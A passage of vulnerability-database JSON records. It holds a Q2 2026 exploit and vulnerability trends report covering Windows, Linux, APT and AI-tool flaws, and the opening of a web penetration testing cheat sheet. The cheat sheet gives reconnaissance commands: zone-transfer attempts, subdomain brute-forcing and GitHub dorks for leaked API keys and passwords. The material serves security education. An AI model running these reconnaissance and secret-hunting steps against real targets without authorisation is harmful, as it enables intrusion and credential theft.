\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 Telegram. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://securelist.com/cloud-atlas-attacks-with-new-backdoor-vbcloud/115103/ \n\n#\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435\u041f\u041e #malware", "creation_timestamp": "2026-07-28T00:00:49.337630Z"}, {"uuid": "58f144c5-11b9-4030-8104-54abc9f7e939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-66d81917-442e1a3db5444e7f", "content": "Exploits and vulnerabilities in Q2 2026\nThe vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.\nSecond, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data comes from Kaspersky\u2019s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.\nWe examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It\u2019s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nAs the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nQ2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new \u201cnamed\u201d vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:\n\nBlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.\nRedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as \u201ccloud\u201d can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.\nYellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.\nGreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.\nRougePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.\nUnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.\nEven though such cases remain isolated for now, we believe they\u2019ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.\nVeteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive\nCVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nThat said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nLinux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.\nAll the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:\n\nCVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments\nCVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root\nCVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family\nCVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification\nCVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism\nCVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel\u2019s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root\nThe vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system\u2019s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn\u2019t an option.\nMost common published exploits\nThe distribution of published exploits by software type in Q2 2026 includes categories that haven\u2019t appeared in the sample for a long time. For instance, we\u2019re once again seeing exploits targeting SharePoint. It\u2019s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components \u2014 often close to genuinely vulnerable mechanisms \u2014 in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.\nDistribution of published exploits by platform, Q1 2026 (download)\nDistribution of published exploits by platform, Q2 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)\nIn Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they\u2019re published. As before, we\u2019re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it\u2019s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)\nSliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps\nCVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user\nThese vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.\nLLM/AI tool vulnerabilities\nThis section analyzes data published in Kaspersky\u2019s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.\nAs mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.\nThe chart below covers registered vulnerabilities in AI tools for 2025\u20132026.\nNumber of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025\u20132026 (download)\nAs the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It\u2019s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:\nTOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025\u20132026\nInterestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn\u2019t look like the growing number of AI tools will fix it. It\u2019s also notable that the list includes classes CWE developers themselves don\u2019t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.\nLooking at the most common classes, the key issues found in AI-related software can be summed up as follows:\n\nInadequate access control over critical system objects\nImproper implementation of authentication and authorization mechanisms\nInjections\nIt\u2019s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.\nLooking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let\u2019s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025\u20132026.\nTOP AI/LLM-related projects by number of published vulnerabilities, 2025\u20132026 (download)\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.\nCVE-2026-25253: a gatewayUrl vulnerability in OpenClaw\nThe issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.\nThe attack algorithm exploiting this vulnerability works as follows:\n\nThe application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.\nThere is no validation before use.\nThe client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.\nWhile connected, the application sends credentials (an access token) to the specified address.\nIf the attacker obtains a valid token, the consequences depend on that token\u2019s level of access within the system. In general, this could lead to:\n\nUser session compromise\nExecution of operations on the user\u2019s behalf\nModification of the AI agent configuration\nUnauthorized access to tools and resources connected to the agent\nUnder certain OpenClaw configurations, further compromise of the host running the agent\nIt\u2019s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.\nCVE-2026-41948: a path traversal vulnerability in the Dify AI platform\nThe vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren\u2019t meant for that user. The root cause is insufficient normalization and validation of the URL path before it\u2019s passed to the internal service.\nDepending on the Dify configuration, the consequences can include:\n\nUnauthorized access to internal service interfaces\nBreach of isolation between workspaces\nExposure of internal service information\nConditions favorable to further attacks when combined with other vulnerabilities\nThe use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.\nCVE-2026-45386: an improper access control vulnerability in Open WebUI\nIn Open WebUI, pin/unpin operations on messages are write operations, since they modify that message\u2019s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message\u2019s pinned status.\nThe vulnerability\u2019s mechanism works as follows:\n\nThe user initiates an action that changes the state of an object.\nThe application treats this action as a regular read request.\nOnly channel view permission is checked.\nThe application performs a write without verifying the required user authorization.\nThis violates one of the fundamental principles of access control models \u2014 namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.\nAlthough the vulnerability doesn\u2019t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators\u2019 and administrators\u2019 activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.\nOpen WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.\nCVE-2026-45501: a vulnerability in Microsoft Exchange\nThe vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.\nAlthough Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.\nIt\u2019s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.\nConclusion and advice\nQ2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.\nAccordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-08-26T10:30:35.450825Z"}, {"uuid": "66e0eaa4-dab0-40aa-96f4-26249c7d8497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://gist.github.com/bbrk364/406ab37feb8b8752f624c07c13b3bb68", "content": "# Web Penetration Testing Cheat Sheet\n\n## Complete Guide to Ethical Hacking & Web Application Security Testing\n\n---\n\n## \ud83d\udccb Table of Contents\n- [Introduction](#introduction)\n- [Legal & Ethical Considerations](#legal--ethical-considerations)\n- [Penetration Testing Methodology](#penetration-testing-methodology)\n- [Initial Setup & Installation](#initial-setup--installation)\n- [Reconnaissance (Information Gathering)](#reconnaissance-information-gathering)\n- [Port & Service Scanning](#port--service-scanning)\n- [Web Enumeration](#web-enumeration)\n- [Vulnerability Assessment](#vulnerability-assessment)\n- [SQL Injection (SQLi)](#sql-injection-sqli)\n- [Cross-Site Scripting (XSS)](#cross-site-scripting-xss)\n- [Authentication Attacks](#authentication-attacks)\n- [File Inclusion Vulnerabilities](#file-inclusion-vulnerabilities)\n- [Server-Side Request Forgery (SSRF)](#server-side-request-forgery-ssrf)\n- [Command Injection](#command-injection)\n- [API Testing](#api-testing)\n- [SSL/TLS Security](#ssltls-security)\n- [Post-Exploitation](#post-exploitation)\n- [Reporting](#reporting)\n- [Tools Reference](#tools-reference)\n- [Practice Labs & Resources](#practice-labs--resources)\n- [Sample Scripts](#sample-scripts)\n\n---\n\n## Introduction\n\nWeb penetration testing is the practice of simulating cyberattacks against web applications to identify security vulnerabilities before malicious actors can exploit them. This comprehensive guide covers everything from initial reconnaissance to post-exploitation and reporting.\n\nWhether you're preparing for certifications like OSCP, CEH, or GWAPT, or you're a security professional looking to expand your skills, this cheat sheet provides practical commands, techniques, and real-world examples.\n\n---\n\n## Legal & Ethical Considerations\n\n### \u26a0\ufe0f IMPORTANT LEGAL WARNING\n\n**Penetration testing without explicit written permission is ILLEGAL** in most jurisdictions:\n- **USA**: Computer Fraud and Abuse Act (CFAA)\n- **UK**: Computer Misuse Act 1990\n- **EU**: General Data Protection Regulation (GDPR) and local cybercrime laws\n- **Australia**: Cybercrime Act 2001\n\n### Requirements Before Testing:\n1. **Signed Authorization Letter** - Must specify:\n   - Target scope (IP ranges, domains, applications)\n   - Testing dates and times\n   - Allowed testing methods\n   - Emergency contact information\n   - Legal jurisdiction and liability clauses\n\n2. **Rules of Engagement Document** covering:\n   - What constitutes out-of-scope activity\n   - Data handling procedures\n   - Notification thresholds for critical findings\n   - Third-party considerations\n\n3. **Insurance & Professional Indemnity** (for professional testers)\n\n### Certifications & Training:\n- **OSCP** (Offensive Security) - Hands-on penetration testing\n- **OSWP** (Offensive Security Wireless Professional)\n- **OSWE** (Offensive Security Web Expert)\n- **CEH** (EC-Council) - Certified Ethical Hacker\n- **eWPT/X** (eLearnSecurity) - Web penetration tester\n- **PNPT** (TCM Security) - Practical Network Penetration Tester\n- **BSCP** (PortSwigger) - Burp Suite Certified Practitioner\n- **GWAPT** (GIAC) - Web Application Penetration Tester\n- **CISSP** (ISC\u00b2) - Security management (requires experience)\n\n---\n\n## Penetration Testing Methodology\n\n### The 8 Phases of Penetration Testing\n\n\n| Phase | Name                         | Key Activities (Detailed)                                                                                                                                                                                                                                                                                                                                                                                                                 | Deliverables                              |\n| ----- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------- |\n| **1** | **Planning**                 | \u2022 Define scope (IPs, domains, applications, APIs)\u2022 Identify in-scope / out-of-scope assets\u2022 Establish Rules of Engagement (RoE)\u2022 Obtain legal authorization & NDA\u2022 Determine testing methodology (e.g., OWASP Testing Guide, PTES)\u2022 Identify stakeholders & communication channels\u2022 Set testing timeline and escalation procedures\u2022 Define success criteria & reporting format                                | Signed contract, scope document           |\n| **2** | **Reconnaissance**           | \u2022 Passive OSINT (WHOIS, social media, breach databases)\u2022 Identify employee emails & technology stack\u2022 DNS enumeration & zone transfer attempts\u2022 Subdomain discovery (bruteforce + certificate transparency logs)\u2022 Search engine reconnaissance (Google dorking)\u2022 Metadata extraction from public documents\u2022 Identify third-party integrations & cloud services\u2022 Gather leaked credentials from public sources | Target profile, attack surface map        |\n| **3** | **Scanning**                 | \u2022 Network discovery (live host identification)\u2022 TCP/UDP port scanning\u2022 Service version detection & banner grabbing\u2022 OS fingerprinting\u2022 SSL/TLS configuration analysis\u2022 Firewall/WAF detection\u2022 Vulnerability scanning using automated tools\u2022 Identify misconfigurations (open S3 buckets, exposed databases)                                                                                                  | Network map, open ports, services         |\n| **4** | **Enumeration**              | \u2022 Directory and file brute-forcing\u2022 API endpoint discovery\u2022 Parameter fuzzing & input testing\u2022 User account enumeration (login, password reset)\u2022 SMB/LDAP enumeration\u2022 Database fingerprinting\u2022 Identify hidden functionality in JavaScript files\u2022 Review robots.txt & sitemap.xml                                                                                                                            | Content inventory, potential entry points |\n| **5** | **Vulnerability Assessment** | \u2022 Automated vulnerability scanning\u2022 Manual verification of findings\u2022 CVE & exploit database research\u2022 Misconfiguration analysis\u2022 Authentication & authorization testing\u2022 Business logic testing\u2022 Rate limiting & brute-force testing\u2022 Map vulnerabilities to CVSS scoring\u2022 Prioritize risks (Critical, High, Medium, Low)                                                                                 | Vulnerability list, risk ratings          |\n| **6** | **Exploitation**             | \u2022 Develop proof-of-concept (PoC) exploits\u2022 Exploit web vulnerabilities (SQLi, XSS, RCE, SSRF)\u2022 Password attacks (brute-force, credential stuffing)\u2022 Privilege escalation (local & domain level)\u2022 Exploit known CVEs\u2022 Gain shell access (reverse shell, web shell)\u2022 Bypass WAF/IDS mechanisms\u2022 Data extraction under controlled conditions                                                                     | Exploited vulnerabilities, access gained  |\n| **7** | **Post-Exploitation**        | \u2022 Establish persistence mechanisms\u2022 Lateral movement across network\u2022 Token impersonation & pass-the-hash attacks\u2022 Dump credentials & password hashes\u2022 Sensitive data discovery (PII, financial data)\u2022 Privilege escalation to domain admin\u2022 Simulate data exfiltration\u2022 Log analysis & detection evasion techniques\u2022 Assess business impact of compromise                                                 | Compromised systems, sensitive data       |\n| **8** | **Reporting**                | \u2022 Document technical findings with evidence (screenshots, logs)\u2022 Risk severity classification & impact analysis\u2022 Business risk explanation for executives\u2022 Remediation & mitigation recommendations\u2022 Re-test verification (if required)\u2022 Executive summary (non-technical)\u2022 Technical appendix with reproduction steps\u2022 Final presentation to stakeholders                                                    | Final report, presentation                |\n\n\n\n### Testing Types:\n- **Black Box**: No prior knowledge of the system\n- **White Box**: Full access to source code, architecture, credentials\n- **Grey Box**: Partial knowledge (e.g., authenticated access)\n- **Blind Testing**: Tester knows target, target doesn't know tester\n- **Double-Blind**: Neither side knows about the test\n- **Red Team**: Full-scope adversarial simulation\n- **Purple Team**: Collaborative testing with defensive teams\n\n---\n\n## Initial Setup & Installation\n\n### Installing Kali Linux\n\n**Option 1: Virtual Machine (Recommended)**\n```bash\n# Download Kali Linux VM from official site\n# Import into VirtualBox/VMware\n# Default credentials: kali:kali\n```\n\n**Option 2: Bare Metal**\n```bash\n# Download ISO from kali.org\n# Create bootable USB: dd if=kali.iso of=/dev/sdb bs=4M status=progress\n# Boot and install\n```\n\n**Option 3: Docker**\n```bash\ndocker pull kalilinux/kali-rolling\ndocker run -it kalilinux/kali-rolling /bin/bash\n```\n\n**Option 4: Windows Subsystem for Linux (WSL2)**\n```bash\n# Install WSL2, then:\nwsl --install -d kali-linux\n```\n\n### Essential Tools Installation\n\n```bash\n# Update package lists\nsudo apt update && sudo apt upgrade -y\n\n# Core scanning tools\nsudo apt install -y nmap nikto gobuster dirb wfuzz\n\n# Web application tools\nsudo apt install -y sqlmap burpsuite zaproxy\n\n# Brute force tools\nsudo apt install -y hydra medusa john hashcat\n\n# Enumeration tools\nsudo apt install -y ffuf wfuzz whatweb wafw00f\n\n# Reconnaissance tools\nsudo apt install -y sublist3r amass theharvester dnsrecon\n\n# Exploitation framework\nsudo apt install -y metasploit-framework\n\n# Networking tools\nsudo apt install -y netcat-openbsd socat wireshark tcpdump\n\n# Post-exploitation\nsudo apt install -y impacket-scripts pwncat\n\n# Wordlists\nsudo apt install -y seclists wordlists\n```\n\n### Python Tools Installation\n```bash\n# Install pip if not present\nsudo apt install -y python3-pip\n\n# Python-based tools\npip3 install theHarvester dalfox xsstrike\npip3 install impacket pwncat-cs\npip3 install dnspython requests beautifulsoup4\npip3 install shodan censys\npip3 install argon2 python-nmap\n```\n\n### Directory Structure Setup\n```bash\n# Create organized workspace\nmkdir -p ~/pentest/{tools,wordlists,scripts,reports,loot}\n\n# Create target-specific directories\nmkdir -p ~/pentest/$(date +%Y%m%d)_target/{recon,scans,exploit,evidence}\ncd ~/pentest/$(date +%Y%m%d)_target\n```\n\n### Environment Variables\n```bash\n# Add to ~/.bashrc for persistence\nexport TARGET=\"10.10.10.1\"\nexport DOMAIN=\"target.com\"\nexport LHOST=$(ip a | grep tun0 | awk '{print $2}' | cut -d/ -f1)\nexport WORDLIST=\"/usr/share/wordlists/rockyou.txt\"\n\n# Source the file\nsource ~/.bashrc\n```\n\n### Burp Suite Configuration\n1. **Proxy Setup**:\n   - Browser \u2192 Settings \u2192 Network \u2192 Manual proxy: `127.0.0.1:8080`\n   - Install Burp CA certificate\n   - Firefox: Preferences \u2192 Privacy & Security \u2192 Certificates \u2192 Import\n\n2. **FoxyProxy** browser extension for quick proxy switching\n\n3. **Scope Configuration**:\n   - Target tab \u2192 Scope \u2192 Add to scope\n   - Exclude out-of-scope items\n\n### /etc/hosts Configuration\n```bash\n# Add target domains for easier access\nsudo tee -a /etc/hosts << EOF\n10.10.10.1    target.htb dev.target.htb admin.target.htb\n10.10.10.2    mail.target.htb vpn.target.htb\nEOF\n```\n\n---\n\n## Reconnaissance (Information Gathering)\n\n### DNS Enumeration\n\n#### Basic DNS Queries\n```bash\n# WHOIS information\nwhois target.com\n\n# All DNS records\ndig target.com ANY +noall +answer\nnslookup -type=ANY target.com\n\n# MX records (mail servers)\ndig target.com MX +short\nnslookup -type=MX target.com\n\n# NS records (name servers)\ndig target.com NS +short\nhost -t ns target.com\n\n# TXT records (SPF, DKIM, verification)\ndig target.com TXT +short\nnslookup -type=TXT target.com\n\n# A/AAAA records\ndig target.com A +short\ndig target.com AAAA +short\n\n# CNAME records\ndig www.target.com CNAME +short\n\n# SOA record (start of authority)\ndig target.com SOA +short\n```\n\n#### Zone Transfer Attempt\n```bash\n# Attempt zone transfer from each name server\nfor ns in $(dig NS target.com +short); do\n    echo \"Attempting zone transfer from $ns\"\n    dig AXFR target.com @$ns\ndone\n\n# Using host command\nhost -l target.com ns1.target.com\n```\n\n#### Reverse DNS Lookup\n```bash\n# Find domains hosted on IP\ndig -x 192.168.1.1 +short\nnslookup 192.168.1.1\n```\n\n### Subdomain Enumeration\n\n#### Passive Techniques (No direct interaction)\n```bash\n# Sublist3r - Multiple sources\nsublist3r -d target.com -o subdomains.txt\nsublist3r -d target.com -b google,yahoo,bing,baidu -t 50\n\n# Amass - Passive mode\namass enum -passive -d target.com -o amass_passive.txt\n\n# TheHarvester - Search engines\ntheHarvester -d target.com -b all -f theharvester.html\n\n# Certificate Transparency (crt.sh)\ncurl -s \"https://crt.sh/?q=%.target.com&output=json\" | jq .\n\n# Using SecurityTrails API\ncurl -s \"https://api.securitytrails.com/v1/domain/target.com/subdomains\" \\\n     -H \"APIKEY: YOUR_API_KEY\" | jq -r '.subdomains[]'\n\n# Shodan\nshodan search hostname:target.com\n```\n\n#### Active Techniques\n```bash\n# Amass - Active enumeration\namass enum -active -d target.com -o amass_active.txt\namass enum -active -d target.com -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n\n# Gobuster DNS mode\ngobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50\n\n# ffuf for vhost discovery\nffuf -u http://target.com -H \"Host: FUZZ.target.com\" \\\n     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\\n     -fc 400,404,403\n\n# DNSRecon\ndnsrecon -d target.com -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt\n\n# DNSEnum\ndnsenum target.com\n```\n\n### Technology Stack Identification\n\n```bash\n# WhatWeb - Comprehensive\nwhatweb target.com\nwhatweb target.com --aggression 3 --log-brief=whatweb.txt\n\n# Wappalyzer (browser extension)\n\n# BuiltWith (online service)\n\n# Wafw00f - WAF detection\nwafw00f target.com\nwafw00f target.com -a  # aggressive\n\n# HTTP headers inspection\ncurl -sI https://target.com\ncurl -sI https://target.com | grep -i \"server\\|x-powered-by\\|via\"\n\n# Web server fingerprinting\nhttpx -u target.com -tech-detect -status-code -title -follow-redirects\n\n# CMS detection\n# WordPress\nwpscan --url target.com --api-token YOUR_TOKEN\n\n# Joomla\njoomscan -u target.com\n\n# Drupal\ndroopescan scan drupal -u target.com\n```\n\n### OSINT (Open Source Intelligence)\n\n#### Email Discovery\n```bash\n# theHarvester\ntheHarvester -d target.com -b all -f results.html\ntheHarvester -d target.com -b google,bing,linkedin\n\n# Hunter.io (API required)\ncurl -s \"https://api.hunter.io/v2/domain-search?domain=target.com&api_key=KEY\" | jq\n\n# EmailHarvester\npython3 EmailHarvester.py -d target.com\n```\n\n#### Social Media\n- LinkedIn: Search for employees, job postings, technologies used\n- Twitter: Company handles, employee mentions\n- GitHub: Search for company repos, code leaks, API keys\n- Glassdoor: Employee reviews, technologies mentioned\n\n#### Code Repositories\n```bash\n# GitHub dorks\nsite:github.com \"target.com\"\nsite:github.com \"target.com\" \"api_key\"\nsite:github.com \"target.com\" \"password\"\n\n# Gitrob (requires GitHub token)\ngitrob -target target.com\n\n# TruffleHog - find secrets\ntrufflehog github --org=target-org\n```\n\n#### Wayback Machine\n```bash\n# View historical versions\nwaybackurls target.com | tee wayback_urls.txt\n\n# Extract endpoints\ngau target.com | tee 